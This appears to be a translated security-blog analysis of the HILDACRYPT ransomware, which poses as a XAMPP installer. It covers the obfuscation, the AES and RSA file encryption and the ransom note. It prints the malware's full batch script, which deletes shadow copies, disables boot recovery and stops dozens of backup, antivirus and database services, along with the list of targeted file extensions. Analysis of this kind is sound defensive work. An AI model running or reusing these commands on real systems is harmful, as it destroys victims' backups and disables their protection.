{"id":52277,"date":"2019-11-05T00:00:00","date_gmt":"2019-11-04T21:00:00","guid":{"rendered":"https:\/\/prohoster.info\/blog\/blog_prohoster\/hildacrypt-novaya-programma-vymogatel-nanosit-udar-po-sistemam-rezervnogo-kopirovaniya-i-antivirusnym-resheniyam"},"modified":"2020-02-18T13:59:57","modified_gmt":"2020-02-18T10:59:57","slug":"hildacrypt-novaya-programma-vymogatel-nanosit-udar-po-sistemam-rezervnogo-kopirovaniya-i-antivirusnym-resheniyam","status":"publish","type":"post","link":"https:\/\/prohoster.info\/et\/blog\/administrirovanie\/hildacrypt-novaya-programma-vymogatel-nanosit-udar-po-sistemam-rezervnogo-kopirovaniya-i-antivirusnym-resheniyam","title":{"rendered":"HILDACRYPT: uus lunavara r\u00fcndab varunduss\u00fcsteeme ja viiruset\u00f5rjeseadeid","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"

Tere, Habr! Taaskord r\u00e4\u00e4gime v\u00e4rsketest h\u00e4kkerite tarkvara versioonidest, mis kuuluvad Ransomware kategooriasse. HILDACRYPT on uus ransomvare, mis kuulub augustis 2019 avastatud Hilda perekonda, mis on nime saanud Netflixi voogedastusteenuse animatsiooni j\u00e4rgi, mida on kasutatud tarkvara levitamiseks. T\u00e4na tutvume selle uuendatud lunavara tehniliste aspektidega.<\/p>\n

\"HILDACRYPT:
\n<\/a><\/noindex>
\nEsimeses Hilda lunavarade versioonis oli YouTube'i link treiler<\/a><\/noindex> animeeritud sarja hajutatud lunavara n\u00f5udmiskirjas. HILDACRYPT aga maskeerib end legitiimse XAMPP paigaldaja all, mis on lihtne paigaldatav Apache ja MariaDB, PHP ning Perl'i pakk. Lisaks on kr\u00fcptolockeril teine failinimi \u2014 xamp. Samuti ei ole lunavara failil digitaalallkirja.<\/p>\n

Staatiline anal\u00fc\u00fcs<\/h3>\n

\nLunavara asub PE32 .NET failis, mis on kirjutatud MS Windowsi jaoks. Selle suurus on 135 168 baiti. Nii p\u00f5hiprogramm kui ka kaitseprogrammi kood on kirjutatud C#. Kompileerimise kuup\u00e4eva ja kellaaja m\u00e4rgise kohaselt loodi binaarfail 14. septembril 2019.<\/p>\n

\"HILDACRYPT:
\n
\nDetect It Easy andmetel on lunavara pakitud Confuser ja ConfuserEx abil, kuid need obfuskaatorid on sellised nagu varemgi, ainult ConfuserEx on Confuser j\u00e4rglane, nii et nende koodide allkirjad on sarnased. <\/p>\n

\"HILDACRYPT:
\n
\nHILDACRYPT on t\u00f5epoolest pakitud ConfuserEx abil. <\/p>\n

\"HILDACRYPT:
\n
\nSHA-256: 7b0dcc7645642c141deb03377b451d3f873724c254797e3578ef8445a38ece8a<\/p>\n

com.uc.deployment.UpgradeDeployService<\/h3>\n

\nT\u00f5en\u00e4oliselt avastati lunavara m\u00f5nel veebiprogrammeerimise p\u00fchendatud saidil, maskeerituna legitiimse XAMPP programmi all.<\/p>\n

Kogu nakkusprotsess on n\u00e4htav app.any.run liivakastis<\/a><\/noindex>.<\/p>\n

Obfuskatsioon <\/h3>\n

\nLunavara read on salvestatud kr\u00fcptitud kujul. K\u00e4ivitamisel dekr\u00fcptib HILDACRYPT need Base64 ja AES-256-CBC abil.<\/p>\n

\"HILDACRYPT:
\n<\/p>\n

Paigaldamine<\/h3>\n

\nEsiteks loob lunavara %AppDataRoaming% kausta, mille GUID (Globally Unique Identifier) genereeritakse juhuslikult. Lisades sellele asukohale bat-faili, k\u00e4ivitab lunavara selle cmd.exe abil:<\/p>\n

cmd.exe \/c JKfgkgj3hjgfhjka.bat & exit
\n<\/i>
\n\"HILDACRYPT:\"HILDACRYPT:
\nSeej\u00e4rel alustab ta partii skripti t\u00e4itmist, et keelata s\u00fcsteemi funktsioonid v\u00f5i teenused.<\/p>\n

\"HILDACRYPT:
\n
\nSkript sisaldab pikka k\u00e4skude loetelu, millega h\u00e4vitatakse varukoopiad, keelatakse SQL-server, tagab ja eemaldab viiruset\u00f5rje lahendused.<\/p>\n

N\u00e4iteks p\u00fc\u00fcab ta ebaefektiivselt peatada Acronis Backup'i varundusteenuseid. Lisaks r\u00fcndab ta j\u00e4rgmiste tarnijate varunduss\u00fcsteeme ja viirusevastaseid lahendusi: Veeam, Sophos, Kaspersky, McAfee ja teised.<\/p>\n

@echo off\n:: Ma ei ole t\u00f5eline ponide f\u00e4nn, joonistuslikud t\u00fcdrukud on paremad, kas pole?\nvssadmin resize shadowstorage \\\/for=c: \\\/on=c: \\\/maxsize=401MB\nvssadmin resize shadowstorage \\\/for=c: \\\/on=c: \\\/maxsize=unbounded\nvssadmin resize shadowstorage \\\/for=d: \\\/on=d: \\\/maxsize=401MB\nvssadmin resize shadowstorage \\\/for=d: \\\/on=d: \\\/maxsize=unbounded\nvssadmin resize shadowstorage \\\/for=e: \\\/on=e: \\\/maxsize=401MB\nvssadmin resize shadowstorage \\\/for=e: \\\/on=e: \\\/maxsize=unbounded\nvssadmin resize shadowstorage \\\/for=f: \\\/on=f: \\\/maxsize=401MB\nvssadmin resize shadowstorage \\\/for=f: \\\/on=f: \\\/maxsize=unbounded\nvssadmin resize shadowstorage \\\/for=g: \\\/on=g: \\\/maxsize=401MB\nvssadmin resize shadowstorage \\\/for=g: \\\/on=g: \\\/maxsize=unbounded\nvssadmin resize shadowstorage \\\/for=h: \\\/on=h: \\\/maxsize=401MB\nvssadmin resize shadowstorage \\\/for=h: \\\/on=h: \\\/maxsize=unbounded\nbcdedit \\\/set {default} recoveryenabled No\nbcdedit \\\/set {default} bootstatuspolicy ignoreallfailures\nvssadmin Delete Shadows \\\/all \\\/quiet\nnet stop SQLAgent$SYSTEM_BGC \\\/y\nnet stop \"Sophos Device Control Service\" \\\/y\nnet stop macmnsvc \\\/y\nnet stop SQLAgent$ECWDB2 \\\/y\nnet stop \"Zoolz 2 Service\" \\\/y\nnet stop McTaskManager \\\/y\nnet stop \"Sophos AutoUpdate Service\" \\\/y\nnet stop \"Sophos System Protection Service\" \\\/y\nnet stop EraserSvc11710 \\\/y\nnet stop PDVFSService \\\/y\nnet stop SQLAgent$PROFXENGAGEMENT \\\/y\nnet stop SAVService \\\/y\nnet stop MSSQLFDLauncher$TPSAMA \\\/y\nnet stop EPSecurityService \\\/y\nnet stop SQLAgent$SOPHOS \\\/y\nnet stop \"Symantec System Recovery\" \\\/y\nnet stop Antivirus \\\/y\nnet stop SstpSvc \\\/y\nnet stop MSOLAP$SQL_2008 \\\/y\nnet stop TrueKeyServiceHelper \\\/y\nnet stop sacsvr \\\/y\nnet stop VeeamNFSSvc \\\/y\nnet stop FA_Scheduler \\\/y\nnet stop SAVAdminService \\\/y\nnet stop EPUpdateService \\\/y\nnet stop VeeamTransportSvc \\\/y\nnet stop \"Sophos Health Service\" \\\/y\nnet stop bedbg \\\/y\nnet stop MSSQLSERVER \\\/y\nnet stop KAVFS \\\/y\nnet stop Smcinst \\\/y\nnet stop MSSQLServerADHelper100 \\\/y\nnet stop TmCCSF \\\/y\nnet stop wbengine \\\/y\nnet stop SQLWriter \\\/y\nnet stop MSSQLFDLauncher$TPS \\\/y\nnet stop SmcService \\\/y\nnet stop ReportServer$TPSAMA \\\/y\nnet stop swi_update \\\/y\nnet stop AcrSch2Svc \\\/y\nnet stop MSSQL$SYSTEM_BGC \\\/y\nnet stop VeeamBrokerSvc \\\/y\nnet stop MSSQLFDLauncher$PROFXENGAGEMENT \\\/y\nnet stop VeeamDeploymentService \\\/y\nnet stop SQLAgent$TPS \\\/y\nnet stop DCAgent \\\/y\nnet stop \"Sophos Message Router\" \\\/y\nnet stop MSSQLFDLauncher$SBSMONITORING \\\/y\nnet stop wbengine \\\/y\nnet stop MySQL80 \\\/y\nnet stop MSOLAP$SYSTEM_BGC \\\/y\nnet stop ReportServer$TPS \\\/y\nnet stop MSSQL$ECWDB2 \\\/y\nnet stop SntpService \\\/y\nnet stop SQLSERVERAGENT \\\/y\nnet stop BackupExecManagementService \\\/y\nnet stop SMTPSvc \\\/y\nnet stop mfefire \\\/y\nnet stop BackupExecRPCService \\\/y\nnet stop MSSQL$VEEAMSQL2008R2 \\\/y\nnet stop klnagent \\\/y\nnet stop MSExchangeSA \\\/y\nnet stop MSSQLServerADHelper \\\/y\nnet stop SQLTELEMETRY \\\/y\nnet stop \"Sophos Clean Service\" \\\/y\nnet stop swi_update_64 \\\/y\nnet stop \"Sophos Web Control Service\" \\\/y\nnet stop EhttpSrv \\\/y\nnet stop POP3Svc \\\/y\nnet stop MSOLAP$TPSAMA \\\/y\nnet stop McAfeeEngineService \\\/y\nnet stop \"Veeam Backup Catalog Data Service\" \\\/y\nnet stop MSSQL$SBSMONITORING \\\/y\nnet stop ReportServer$SYSTEM_BGC \\\/y\nnet stop AcronisAgent \\\/y\nnet stop KAVFSGT \\\/y\nnet stop BackupExecDeviceMediaService \\\/y\nnet stop MySQL57 \\\/y\nnet stop McAfeeFrameworkMcAfeeFramework \\\/y\nnet stop TrueKey \\\/y\nnet stop VeeamMountSvc \\\/y\nnet stop MsDtsServer110 \\\/y\nnet stop SQLAgent$BKUPEXEC \\\/y\nnet stop UI0Detect \\\/y\nnet stop ReportServer \\\/y\nnet stop SQLTELEMETRY$ECWDB2 \\\/y\nnet stop MSSQLFDLauncher$SYSTEM_BGC \\\/y\nnet stop MSSQL$BKUPEXEC \\\/y\nnet stop SQLAgent$PRACTTICEBGC \\\/y\nnet stop MSExchangeSRS \\\/y\nnet stop SQLAgent$VEEAMSQL2008R2 \\\/y\nnet stop McShield \\\/y\nnet stop SepMasterService \\\/y\nnet stop \"Sophos MCS Client\" \\\/y\nnet stop VeeamCatalogSvc \\\/y\nnet stop SQLAgent$SHAREPOINT \\\/y\nnet stop NetMsmqActivator \\\/y\nnet stop kavfsslp \\\/y\nnet stop tmlisten \\\/y\nnet stop ShMonitor \\\/y\nnet stop MsDtsServer \\\/y\nnet stop SQLAgent$SQL_2008 \\\/y\nnet stop SDRSVC \\\/y\nnet stop IISAdmin \\\/y\nnet stop SQLAgent$PRACTTICEMGT \\\/y\nnet stop BackupExecJobEngine \\\/y\nnet stop SQLAgent$VEEAMSQL2008R2 \\\/y\nnet stop BackupExecAgentBrowser \\\/y\nnet stop VeeamHvIntegrationSvc \\\/y\nnet stop masvc \\\/y\nnet stop W3Svc \\\/y\nnet stop \"SQLsafe Backup Service\" \\\/y\nnet stop SQLAgent$CXDB \\\/y\nnet stop SQLBrowser \\\/y\nnet stop MSSQLFDLauncher$SQL_2008 \\\/y\nnet stop VeeamBackupSvc \\\/y\nnet stop \"Sophos Safestore Service\" \\\/y\nnet stop svcGenericHost \\\/y\nnet stop ntrtscan \\\/y\nnet stop SQLAgent$VEEAMSQL2012 \\\/y\nnet stop MSExchangeMGMT \\\/y\nnet stop SamSs \\\/y\nnet stop MSExchangeES \\\/y\nnet stop MBAMService \\\/y\nnet stop EsgShKernel \\\/y\nnet stop ESHASRV \\\/y\nnet stop MSSQL$TPSAMA \\\/y\nnet stop SQLAgent$CITRIX_METAFRAME \\\/y\nnet stop VeeamCloudSvc \\\/y\nnet stop \"Sophos File Scanner Service\" \\\/y\nnet stop \"Sophos Agent\" \\\/y\nnet stop MBEndpointAgent \\\/y\nnet stop swi_service \\\/y\nnet stop MSSQL$PRACTICEMGT \\\/y\nnet stop SQLAgent$TPSAMA \\\/y\nnet stop McAfeeFramework \\\/y\nnet stop \"Enterprise Client Service\" \\\/y\nnet stop SQLAgent$SBSMONITORING \\\/y\nnet stop MSSQL$VEEAMSQL2012 \\\/y\nnet stop swi_filter \\\/y\nnet stop SQLSafeOLRService \\\/y\nnet stop BackupExecVSSProvider \\\/y\nnet stop VeeamEnterpriseManagerSvc \\\/y\nnet stop SQLAgent$SQLEXPRESS \\\/y\nnet stop OracleClientCache80 \\\/y\nnet stop MSSQL$PROFXENGAGEMENT \\\/y\nnet stop IMAP4Svc \\\/y\nnet stop ARSM \\\/y\nnet stop MSExchangeIS \\\/y\nnet stop AVP \\\/y\nnet stop MSSQLFDLauncher \\\/y\nnet stop MSExchangeMTA \\\/y\nnet stop TrueKeyScheduler \\\/y\nnet stop MSSQL$SOPHOS \\\/y\nnet stop \"SQL Backups\" \\\/y\nnet stop MSSQL$TPS \\\/y\nnet stop mfemms \\\/y\nnet stop MsDtsServer100 \\\/y\nnet stop MSSQL$SHAREPOINT \\\/y\nnet stop WRSVC \\\/y\nnet stop mfevtp \\\/y\nnet stop msftesql$PROD \\\/y\nnet stop mozyprobackup \\\/y\nnet stop MSSQL$SQL_2008 \\\/y\nnet stop SNAC \\\/y\nnet stop ReportServer$SQL_2008 \\\/y\nnet stop BackupExecAgentAccelerator \\\/y\nnet stop MSSQL$SQLEXPRESS \\\/y\nnet stop MSSQL$PRACTTICEBGC \\\/y\nnet stop VeeamRESTSvc \\\/y\nnet stop sophossps \\\/y\nnet stop ekrn \\\/y\nnet stop MMS \\\/y\nnet stop \"Sophos MCS Agent\" \\\/y\nnet stop RESvc \\\/y\nnet stop \"Acronis VSS Provider\" \\\/y\nnet stop MSSQL$VEEAMSQL2008R2 \\\/y\nnet stop MSSQLFDLauncher$SHAREPOINT \\\/y\nnet stop \"SQLsafe Filter Service\" \\\/y\nnet stop MSSQL$PROD \\\/y\nnet stop SQLAgent$PROD \\\/y\nnet stop MSOLAP$TPS \\\/y\nnet stop VeeamDeploySvc \\\/y\nnet stop MSSQLServerOLAPService \\\/y\ndel %0\n<\/code><\/pre>\n
\nP\u00e4rast eelmainitud teenuste ja protsesside v\u00e4ljal\u00fclitamist kogub kr\u00fcptoluker teavet k\u00f5igi t\u00f6\u00f6tavate protsesside kohta, kasutades k\u00e4sku tasklist, et veenduda, et k\u00f5ik vajalikud teenused on mittet\u00f6\u00f6tavad. 
\ntasklist v \/fo csv<\/i><\/p>\n
Selle k\u00e4su tulemusena saadakse \u00fcksikasjalik loetelu t\u00f6\u00f6tavatest protsessidest, mille elemendid on eraldatud koma m\u00e4rgiga. 
\n«\u00abcsrss.exe\u00bb,\u00ab448\u00bb,\u00abservices\u00bb,\u00ab0\u00bb,\u00ab1\ufffd896 \ufffd\ufffd\u00bb,\u00abunknown\u00bb,»\ufffd\/\ufffd»,\u00ab0:00:03\u00bb,»\ufffd\/\ufffd»»
\n<\/i><\/p>\n
\"HILDACRYPT:
\n
\nP\u00e4rast seda kontrollimist alustab lunavaraprogramm \u0161ifreerimisprotsessi. <\/p>\n
Kr\u00fcpteerimine 
\n<\/h3>\n
Failide \u0161ifreerimine<\/h4>\n
\nHILDACRYPT skaneerib k\u00f5ik leitud sisu k\u00f5vaketastel, v\u00e4lja arvatud kaustades Recycle.Bin ja Reference AssembliesMicrosoft. Viimane sisaldab kriitilise t\u00e4htsusega faile dll, pdb ja teisi .Net rakenduste jaoks, mis v\u00f5ivad m\u00f5jutada lunavaraprogrammi t\u00f6\u00f6. Kr\u00fcpteeritavate failide otsimiseks kasutatakse j\u00e4rgmist failit\u00fc\u00fcpide loendit:<\/p>\n
«.vb:.asmx:.config:.3dm:.3ds:.3fr:.3g2:.3gp:.3pr:.7z:.ab4:.accdb:.accde:.accdr:.accdt:.ach:.acr:.act:.adb:.ads:.agdl:.ai:.ait:.al:.apj:.arw:.asf:.asm:.asp:.aspx:.asx:.avi:.awg:.back:.backup:.backupdb:.bak:.lua:.m:.m4v:.max:.mdb:.mdc:.mdf:.mef:.mfw:.mmw:.moneywell:.mos:.mov:.mp3:.mp4:.mpg:.mpeg:.mrw:.msg:.myd:.nd:.ndd:.nef:.nk2:.nop:.nrw:.ns2:.ns3:.ns4:.nsd:.nsf:.nsg:.nsh:.nwb:.nx2:.nxl:.nyf:.tif:.tlg:.txt:.vob:.wallet:.war:.wav:.wb2:.wmv:.wpd:.wps:.x11:.x3f:.xis:.xla:.xlam:.xlk:.xlm:.xlr:.xls:.xlsb:.xlsm:.xlsx:.xlt:.xltm:.xltx:.xlw:.xml:.ycbcra:.yuv:.zip:.sqlite:.sqlite3:.sqlitedb:.sr2:.srf:.srt:.srw:.st4:.st5:.st6:.st7:.st8:.std:.sti:.stw:.stx:.svg:.swf:.sxc:.sxd:.sxg:.sxi:.sxm:.sxw:.tex:.tga:.thm:.tib:.py:.qba:.qbb:.qbm:.qbr:.qbw:.qbx:.qby:.r3d:.raf:.rar:.rat:.raw:.rdb:.rm:.rtf:.rw2:.rwl:.rwz:.s3db:.sas7bdat:.say:.sd0:.sda:.sdf:.sldm:.sldx:.sql:.pdd:.pdf:.pef:.pem:.pfx:.php:.php5:.phtml:.pl:.plc:.png:.pot:.potm:.potx:.ppam:.pps:.ppsm:.ppsx:.ppt:.pptm:.pptx:.prf:.ps:.psafe3:.psd:.pspimage:.pst:.ptx:.oab:.obj:.odb:.odc:.odf:.odg:.odm:.odp:.ods:.odt:.oil:.orf:.ost:.otg:.oth:.otp:.ots:.ott:.p12:.p7b:.p7c:.pab:.pages:.pas:.pat:.pbl:.pcd:.pct:.pdb:.gray:.grey:.gry:.h:.hbk:.hpp:.htm:.html:.ibank:.ibd:.ibz:.idx:.iif:.iiq:.incpas:.indd:.jar:.java:.jpe:.jpeg:.jpg:.jsp:.kbx:.kc2:.kdbx:.kdc:.key:.kpdx:.doc:.docm:.docx:.dot:.dotm:.dotx:.drf:.drw:.dtd:.dwg:.dxb:.dxf:.dxg:.eml:.eps:.erbsql:.erf:.exf:.fdb:.ffd:.fff:.fh:.fhd:.fla:.flac:.flv:.fmb:.fpx:.fxg:.cpp:.cr2:.craw:.crt:.crw:.cs:.csh:.csl:.csv:.dac:.bank:.bay:.bdb:.bgt:.bik:.bkf:.bkp:.blend:.bpw:.c:.cdf:.cdr:.cdr3:.cdr4:.cdr5:.cdr6:.cdrw:.cdx:.ce1:.ce2:.cer:.cfp:.cgm:.cib:.class:.cls:.cmt:.cpi:.ddoc:.ddrw:.dds:.der:.des:.design:.dgc:.djvu:.dng:.db:.db-journal:.db3:.dcr:.dcs:.ddd:.dbf:.dbx:.dc2:.pbl:.csproj:.sln:.vbproj:.mdb:.md»
\n<\/i>
\nFailide \u0161ifreerimiseks kasutab lunavaraprogramm algoritmi AES-256-CBC. v\u00f5tme pikkus on 256 bitti ja initsialiseerimisvektori (IV) pikkus 16 bitti. <\/p>\n
\"HILDACRYPT:
\n
\nJ\u00e4rgneval ekraanipildil on v\u00e4\u00e4rtused byte_2 ja byte_1 juhuslikult saadud GetBytes() abil. <\/p>\n
\"HILDACRYPT:
\n
\nV\u00f5ti<\/p>\n
\"HILDACRYPT:
\n
\nVI<\/p>\n
\"HILDACRYPT:
\n
\nKr\u00fcpteeritud failil on laiend HCY!.. See on n\u00e4ide kr\u00fcpteeritud failist. Selle faili jaoks on loodud \u00fclev\u00f5tmisv\u00f5ti ja IV, nagu eespool mainitud. <\/p>\n
\"HILDACRYPT:
\n<\/p>\n
V\u00f5tmete kr\u00fcpteerimine<\/h4>\n
\nKr\u00fcptolocker salvestab genereeritud AES-v\u00f5tme kr\u00fcpteeritud failis. Kr\u00fcpteeritud faili esimene osa sisaldab pealkirja, mis sisaldab andmeid nagu HILDACRYPT, KEY, IV, FileLen XML-formaadis ja n\u00e4eb v\u00e4lja j\u00e4rgmine:<\/p>\n
\"HILDACRYPT:
\n
\nAES-v\u00f5tme ja IV kr\u00fcpteerimine toimub RSA-2048 abil ning kodeerimine toimub Base64 formaat.<\/p>\n
28guEbzkzciKg3N\/ExUq8jGcshuMSCmoFsh\/3LoMyWzPrnfHGhrgotuY\/cs+eSGABQ+rs1B+MMWOWvqWdVpBxUgzgsgOgcJt7P+r4bWhfccYeKDi7PGRtZuTv+XpmG+m+u\/JgerBM1Fi49+0vUMuEw5a1sZ408CvFapojDkMT0P5cJGYLSiVFud8reV7ZtwcCaGf88rt8DAUt2iSZQix0aw8PpnCH5\/74WE8dAHKLF3sYmR7yFWAdCJRovzdx8\/qfjMtZ41sIIIEyajVKfA18OT72\/UBME2gsAM\/BGii2hgLXP5ZGKPgQEf7Zpic1fReZcpJonhNZzXztGCSLfa\/jQ==AQAB
\n<\/code><\/p>\n
AES-faili v\u00f5tme kr\u00fcpteerimiseks kasutatakse RSA avatud v\u00f5tit. RSA avatud v\u00f5ti on Base64 kodeeritud ja koosneb modulusest ja avalikust eksponendist 65537. Dekr\u00fcptimiseks on vajalik RSA suletud v\u00f5ti, millel on kuritegelik.<\/p>\n
P\u00e4rast RSA kr\u00fcpteerimist kodeeritakse AES-v\u00f5ti Base64 abil ja salvestatakse kr\u00fcpteeritud faili.<\/p>\n
L\u00f5hkemise teadanne<\/h3>\n
\nP\u00e4rast kr\u00fcpteerimise l\u00f5ppu salvestab HILDACRYPT html-faili kausta, kus failid on kr\u00fcpteeritud. Lunavara teade sisaldab kahte e-posti aadressi, mille kaudu ohver saab r\u00fcnnaku autoriga \u00fchendust v\u00f5tta.<\/p>\n